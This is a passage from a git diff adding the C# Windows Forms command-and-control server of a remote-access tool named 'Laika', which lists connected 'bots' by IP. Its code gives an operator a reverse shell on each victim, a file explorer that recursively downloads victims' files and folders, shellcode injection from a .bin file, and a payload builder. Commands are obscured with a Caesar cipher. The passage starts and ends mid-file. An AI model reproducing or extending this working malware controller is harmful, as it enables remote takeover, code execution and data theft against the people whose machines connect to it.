byte[] fileContent = File.ReadAllBytes(filePath); + stream.Write(fileContent, 0, fileContent.Length); + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + + private void DownloadFile(string file, NetworkStream stream, TcpClient c) + { + Thread.Sleep(100); + Shell.ClearSocketData(c); + + byte[] Message = new byte[4096]; + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("download_file")); + stream.Write(Message, 0, Message.Length); + string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0]; + if (!Directory.Exists(foldername)) + Directory.CreateDirectory(foldername); + + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(file)); + stream.Write(Message, 0, Message.Length); + + byte[] delimiter = Encoding.UTF8.GetBytes(""); + int delimiterLength = delimiter.Length; + List receivedBytes = new List(); + byte[] buffer = new byte[4096]; + int bytesRead; + + using (FileStream fileStream = new FileStream(foldername + "/" + file.Replace(PATH, ""), FileMode.Create, FileAccess.Write)) + { + while (true) + { + bytesRead = stream.Read(buffer, 0, buffer.Length); + if (bytesRead == 0) + { + break; + } + receivedBytes.AddRange(buffer.Take(bytesRead)); + + while (receivedBytes.Count >= delimiterLength) + { + int endIndex = receivedBytes.Count - delimiterLength; + if (receivedBytes.Skip(endIndex).Take(delimiterLength).SequenceEqual(delimiter)) + { + fileStream.Write(receivedBytes.ToArray(), 0, endIndex); + return; + } + else + { + fileStream.WriteByte(receivedBytes[0]); + receivedBytes.RemoveAt(0); + } + } + } + if (receivedBytes.Count > 0) + { + fileStream.Write(receivedBytes.ToArray(), 0, receivedBytes.Count); + } + } + } + + private void DownloadFolder(string folder, string path, NetworkStream stream, TcpClient c) + { + if (!Directory.Exists(path)) + Directory.CreateDirectory(path); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/")); + stream.Write(Message, 0, Message.Length); + byte[] buffer = new byte[256 * 4096]; + int bytesRead; + bytesRead = stream.Read(buffer, 0, buffer.Length); + string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "") + return; + receivedData = Utils.CAESAR_DECRYPT(receivedData); + foreach (string e in receivedData.Split('/')) + { + Thread.Sleep(100); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/" + e)); + stream.Write(Message, 0, Message.Length); + bytesRead = stream.Read(buffer, 0, buffer.Length); + string infos = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (infos.Split('/')[0] == "f") + { + DownloadFile(folder + "/" + e, stream, c); + continue; + } else + { + DownloadFolder(folder + "/" + e, path + "/" + e, stream, c); + } + } + } + + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + if (type == "d") + { + string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0]; + if (!Directory.Exists(foldername)) + Directory.CreateDirectory(foldername); + DownloadFolder(PATH + file, foldername + "/" + file, stream, c); + } + else + { + DownloadFile(PATH + file, stream, c); + } + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + } +} diff --git a/Server/FileExplorer.resx b/Server/FileExplorer.resx new file mode 100644 index 0000000..ad53752 --- /dev/null +++ b/Server/FileExplorer.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/Server/Menu.Designer.cs b/Server/Menu.Designer.cs new file mode 100644 index 0000000..b87dd0b --- /dev/null +++ b/Server/Menu.Designer.cs @@ -0,0 +1,234 @@ +namespace Server +{ + partial class Menu + { + /// + /// Variable nécessaire au concepteur. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Nettoyage des ressources utilisées. + /// + /// true si les ressources managées doivent être supprimées ; sinon, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Code généré par le Concepteur Windows Form + + /// + /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas + /// le contenu de cette méthode avec l'éditeur de code. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.menuStrip1 = new System.Windows.Forms.MenuStrip(); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.payloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.buildAPayloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.dataGridView1 = new System.Windows.Forms.DataGridView(); + this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.menuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // menuStrip1 + // + this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu; + this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripMenuItem1, + this.payloadToolStripMenuItem}); + this.menuStrip1.Location = new System.Drawing.Point(0, 0); + this.menuStrip1.Name = "menuStrip1"; + this.menuStrip1.Size = new System.Drawing.Size(591, 24); + this.menuStrip1.TabIndex = 0; + this.menuStrip1.Text = "menuStrip1"; + // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.exitToolStripMenuItem}); + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(37, 20); + this.toolStripMenuItem1.Text = "File"; + this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click); + // + // exitToolStripMenuItem + // + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new System.Drawing.Size(93, 22); + this.exitToolStripMenuItem.Text = "Exit"; + this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click); + // + // payloadToolStripMenuItem + // + this.payloadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.buildAPayloadToolStripMenuItem}); + this.payloadToolStripMenuItem.Name = "payloadToolStripMenuItem"; + this.payloadToolStripMenuItem.Size = new System.Drawing.Size(61, 20); + this.payloadToolStripMenuItem.Text = "Payload"; + // + // buildAPayloadToolStripMenuItem + // + this.buildAPayloadToolStripMenuItem.Name = "buildAPayloadToolStripMenuItem"; + this.buildAPayloadToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.buildAPayloadToolStripMenuItem.Text = "Build a payload"; + this.buildAPayloadToolStripMenuItem.Click += new System.EventHandler(this.BuildPayloadToolStripMenuItem_Click); + // + // dataGridView1 + // + this.dataGridView1.AllowUserToAddRows = false; + this.dataGridView1.AllowUserToDeleteRows = false; + this.dataGridView1.AllowUserToResizeRows = false; + this.dataGridView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText; + this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.dataGridView1.ColumnHeadersHeight = 30; + this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Id, + this.IPAddress}); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2; + this.dataGridView1.EnableHeadersVisualStyles = false; + this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar; + this.dataGridView1.Location = new System.Drawing.Point(12, 28); + this.dataGridView1.Margin = new System.Windows.Forms.Padding(0); + this.dataGridView1.MultiSelect = false; + this.dataGridView1.Name = "dataGridView1"; + this.dataGridView1.ReadOnly = true; + this.dataGridView1.RowHeadersVisible = false; + this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dataGridView1.RowTemplate.ReadOnly = true; + this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.dataGridView1.Size = new System.Drawing.Size(567, 302); + this.dataGridView1.TabIndex = 1; + this.dataGridView1.TabStop = false; + this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick); + this.dataGridView1.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView1_CellMouseClick); + // + // Id + // + this.Id.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Id.HeaderText = "Id"; + this.Id.Name = "Id"; + this.Id.ReadOnly = true; + this.Id.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.Id.Width = 41; + // + // IPAddress + // + this.IPAddress.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.IPAddress.HeaderText = "IP Address"; + this.IPAddress.Name = "IPAddress"; + this.IPAddress.ReadOnly = true; + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.shellToolStripMenuItem, + this.fileExplorerToolStripMenuItem, + this.shellcodeToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70); + // + // shellToolStripMenuItem + // + this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal; + this.shellToolStripMenuItem.Name = "shellToolStripMenuItem"; + this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.shellToolStripMenuItem.Text = "Reverse shell"; + this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click); + // + // fileExplorerToolStripMenuItem + // + this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder; + this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem"; + this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.fileExplorerToolStripMenuItem.Text = "File Explorer"; + this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click); + // + // shellcodeToolStripMenuItem + // + this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute; + this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem"; + this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.shellcodeToolStripMenuItem.Text = "Execute shellcode"; + this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click); + // + // Menu + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScroll = true; + this.ClientSize = new System.Drawing.Size(591, 342); + this.Controls.Add(this.dataGridView1); + this.Controls.Add(this.menuStrip1); + this.MainMenuStrip = this.menuStrip1; + this.MinimumSize = new System.Drawing.Size(607, 381); + this.Name = "Menu"; + this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show; + this.Text = "Laika - Server | 0 bots"; + this.Load += new System.EventHandler(this.Form1_Load); + this.menuStrip1.ResumeLayout(false); + this.menuStrip1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.MenuStrip menuStrip1; + private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem payloadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem buildAPayloadToolStripMenuItem; + private System.Windows.Forms.DataGridView dataGridView1; + private System.Windows.Forms.DataGridViewTextBoxColumn Id; + private System.Windows.Forms.DataGridViewTextBoxColumn IPAddress; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem; + } +} + diff --git a/Server/Menu.cs b/Server/Menu.cs new file mode 100644 index 0000000..ce8eb6a --- /dev/null +++ b/Server/Menu.cs @@ -0,0 +1,234 @@ +using System; +using System.IO; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Net.Sockets; +using System.Net; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Threading; + +namespace Server +{ + public partial class Menu : Form + { + public Menu() + { + InitializeComponent(); + } + + public static TcpListener server; + public static int CLIENT_ID; + public static List CONNECT_CLIENTS = new List(); + public static void ServerStart() + { + string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString(); + int port = 4444; + server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port); + server.Start(); + } + public static void ServerStop() + { + server.Stop(); + } + public void on_new_client() + { + while (true) + { + TcpClient client; + try + { + client = server.AcceptTcpClient(); + } + catch + { + continue; + } + client.Client.Blocking = false; + for (int i = 0; i < dataGridView1.Rows.Count; i++) + { + if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0]) + { + client.Close(); + client = null; + } + } + if (client == null) + continue; + this.Invoke((MethodInvoker)delegate + { + dataGridView1.Rows.Add(new object[] { CONNECT_CLIENTS.Count, client.Client.RemoteEndPoint.ToString().Split(':')[0]}); + dataGridView1.Update(); + }); + lock (CONNECT_CLIENTS) + { + CONNECT_CLIENTS.Add(client); + } + try + { + this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots"; + } + catch { } + Console.WriteLine("New client connected"); + } + } + public void on_close_socket() + { + while (true) + { + lock (CONNECT_CLIENTS) + { + for (int i = 0; i < CONNECT_CLIENTS.Count; i++) + { + TcpClient client = CONNECT_CLIENTS[i]; + if (i == FileExplorer.CLIENT_ID) + continue; + try + { + if (client.Client.Poll(1, SelectMode.SelectRead) && client.Client.Available == 0) + { + CONNECT_CLIENTS.RemoveAt(i); + + this.Invoke((MethodInvoker)delegate + { + dataGridView1.Rows.RemoveAt(i); + dataGridView1.Update(); + }); + + i--; + try + { + this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots"; + } + catch { } + Console.WriteLine("Client disconnected"); + } + } + catch (SocketException) + { + CONNECT_CLIENTS.RemoveAt(i); + + this.Invoke((MethodInvoker)delegate + { + dataGridView1.Rows.RemoveAt(i); + dataGridView1.Update(); + }); + + i--; + try + { + this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots"; + } + catch { } + } + } + } + Thread.Sleep(100); + } + } + private void Form1_Load(object sender, EventArgs e) + { + dataGridView1.ClearSelection(); + } + + private void toolStripMenuItem1_Click(object sender, EventArgs e) + { + + } + + private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + + } + + private void exitToolStripMenuItem_Click(object sender, EventArgs e) + { + Application.Exit(); + } + + private void BuildPayloadToolStripMenuItem_Click(object sender, EventArgs e) + { + BuildMenu menu = new BuildMenu(); + + menu.Show(this); + } + + private void StartPatateCrypterToolStripMenuItem_Click(object sender, EventArgs e) + { + + } + + private void dataGridView1_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0) + { + dataGridView1.CurrentCell = dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex]; + CLIENT_ID = dataGridView1.CurrentRow.Index; + + contextMenuStrip1.Show(Cursor.Position); + } + } + private void ReverseShellToolStripMenuItem_Click(object sender, EventArgs e) + { + if (FileExplorer.OPENED == false) + Shell.StartShell(); + } + + private void fileExplorerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (Shell.OPENED == false) + { + FileExplorer fex = new FileExplorer(); + + fex.Show(this); + } + } + + private void ExecuteShellcodeToolStripMenuItem_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Binary files (*.bin)|*.bin", + Title = "Select your shellcode" + }; + + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + + string filePath = openFileDialog.FileName; + TcpClient c = CONNECT_CLIENTS[dataGridView1.CurrentRow.Index]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("inject")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("32")); + stream.Write(Message, 0, Message.Length); + + byte[] fileContent = File.ReadAllBytes(filePath); + stream.Write(fileContent, 0, fileContent.Length); + + byte[] buffer = new byte[5]; + int bytesRead; + + bytesRead = stream.Read(buffer, 0, buffer.Length); + string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + MessageBox.Show(receivedData); + } + catch + { + MessageBox.Show("Client timed out."); + } + + c.Client.Blocking = false; + } + } +} diff --git a/Server/Menu.resx b/Server/Menu.resx new file mode 100644 index 0000000..58b7ce8 --- /dev/null +++ b/Server/Menu.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + True + + + True + + + 132, 17 + + \ No newline at end of file diff --git a/Server/Program.cs b/Server/Program.cs new file mode 100644 index 0000000..2e792e5 --- /dev/null +++ b/Server/Program.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net.Sockets; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using static System.Windows.Forms.VisualStyles.VisualStyleElement; + +namespace Server +{ + public static class Shell + { + public static bool OPENED = false; + public static void ClearSocketData(TcpClient client) + { + try + { + if (client.Connected) + { + NetworkStream stream = client.GetStream(); + + stream.Flush(); + + while (client.Available > 0) + { + byte[] buffer = new byte[client.Available]; + stream.Read(buffer, 0, buffer.Length); + } + } + } + catch { } + } + public static async void StartShell() + { + OPENED = true; + + Form shell = new Form + { + Text = "Shell", + Size = new Size(800, 450), + BackColor = Color.Black, + FormBorderStyle = FormBorderStyle.FixedSingle, + MaximizeBox = false, + StartPosition = FormStartPosition.CenterScreen + }; + System.Windows.Forms.TextBox textBox = new System.Windows.Forms.TextBox + { + Multiline = true, + Dock = DockStyle.Fill, + BackColor = Color.Black, + ForeColor = Color.White, + BorderStyle = BorderStyle.None, + Font = new Font("Consolas", 12), + ScrollBars = ScrollBars.Vertical + }; + shell.Controls.Add(textBox); + TcpClient c = Menu.CONNECT_CLIENTS[Menu.CLIENT_ID]; + c.Client.Blocking = true; + ClearSocketData(c); + shell.FormClosing += (sender, e) => OnFormClosing(e, c); + textBox.KeyDown += (sender, e) => OnKeyDown(e, textBox, c); + shell.Show(); + + try + { + await Task.Run(async () => + { + try + { + NetworkStream stream = c.GetStream(); + byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("shell")); + stream.Write(message, 0, message.Length); + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length)) != 0) + { + string receivedData = Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "fail") + { + shell.Invoke((Action)(() => MessageBox.Show("fail"))); + break; + } + receivedData = Utils.CAESAR_DECRYPT(receivedData); + if (receivedData.Contains("Laika: session ended")) + { + break; + } + shell.Invoke((Action)(() => + { + textBox.AppendText(receivedData); + textBox.ScrollToCaret(); + })); + } + } + catch + { + } + }); + } + finally + { + ClearSocketData(c); + c.Client.Blocking = false; + if (shell != null) + { + shell.Close(); + shell.Dispose(); + } + } + OPENED = false; + } + + private static void OnFormClosing(FormClosingEventArgs e, TcpClient c) + { + try + { + NetworkStream stream = c.GetStream(); + byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n")); + stream.Write(message, 0, message.Length); + ClearSocketData(c); + c.Client.Blocking = false; + } + catch { } + OPENED = false; + } + + private static async void OnKeyDown(KeyEventArgs e, System.Windows.Forms.TextBox textBox, TcpClient client) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; // Prevent the beep sound on Enter key + string input = textBox.Text.Split(new[] { ">" }, StringSplitOptions.None).Last(); + try + { + NetworkStream stream = client.GetStream(); + byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR(input + "\n")); + await stream.WriteAsync(message, 0, message.Length); + } + catch (Exception ex) + { + MessageBox.Show("Error sending message: " + ex.Message); + } + + textBox.AppendText(Environment.NewLine); // Move to the next line after pressing Enter + } + } + } + public static class Utils + { + private const int KEY = 5; + public static string CAESAR_DECRYPT(string input) + { + char[] result = new char[input.Length]; + + for (int i = 0; i < input.Length; i++) + { + char c = input[i]; + result[i] = (char)((int)c - KEY); + } + + return new string(result); + } + public static string CAESAR(string input) + { + char[] result = new char[input.Length]; + + for (int i = 0; i < input.Length; i++) + { + char c = input[i]; + result[i] = (char)((int)c + KEY); + } + + return new string(result); + } + } + internal static class Program + { + /// + /// Point d'entrée principal de l'application. + /// + [STAThread] + static void Main() + { + Application.SetCompatibleTextRenderingDefault(false); + Application.EnableVisualStyles(); + + Menu.ServerStart(); + Menu m = new Menu(); + Thread t = new Thread(m.on_new_client); + Thread t2 = new Thread(m.on_close_socket); + + t.Start(); + t2.Start(); + + Application.Run(m); + Menu.ServerStop(); + + t.Abort(); + t2.Abort(); + } + } +} diff --git a/Server/Properties/AssemblyInfo.cs b/Server/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..28d0aea --- /dev/null +++ b/Server/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Les informations générales relatives à un assembly dépendent de +// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations +// associées à un assembly. +[assembly: AssemblyTitle("Server")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Server")] +[assembly: AssemblyCopyright("Copyright © 2024")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly +// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de +// COM, affectez la valeur true à l'attribut ComVisible sur ce type. +[assembly: ComVisible(false)] + +// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM +[assembly: Guid("ecbaf9b2-2988-480b-973e-50a6bdc7016e")] + +// Les informations de version pour un assembly se composent des quatre valeurs suivantes : +// +// Version principale +// Version secondaire +// Numéro de build +// Révision +// +// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut +// en utilisant '*', comme indiqué ci-dessous : +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs new file mode 100644 index 0000000..8e58f1c --- /dev/null +++ b/Server/Properties/Resources.Designer.cs @@ -0,0 +1,153 @@ +//------------------------------------------------------------------------------ +// +// Ce code a été généré par un outil. +// Version du runtime :4.0.30319.42000 +// +// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +// le code est régénéré. +// +//------------------------------------------------------------------------------ + +namespace Server.Properties { + using System; + + + /// + /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. + /// + // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder + // à l'aide d'un outil, tel que ResGen ou Visual Studio. + // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen + // avec l'option /str ou régénérez votre projet VS. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Remplace la propriété CurrentUICulture du thread actuel pour toutes + /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap download { + get { + object obj = ResourceManager.GetObject("download", resourceCulture); + return 